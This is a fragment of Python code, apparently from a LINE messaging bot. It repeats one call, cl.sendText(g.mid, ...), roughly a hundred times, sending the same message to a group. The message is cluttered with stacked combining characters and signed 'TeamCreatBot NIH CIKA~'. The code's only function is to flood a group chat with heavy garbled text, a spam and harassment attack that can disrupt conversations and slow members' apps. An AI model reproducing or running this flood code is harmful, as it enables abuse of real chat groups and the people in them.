cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
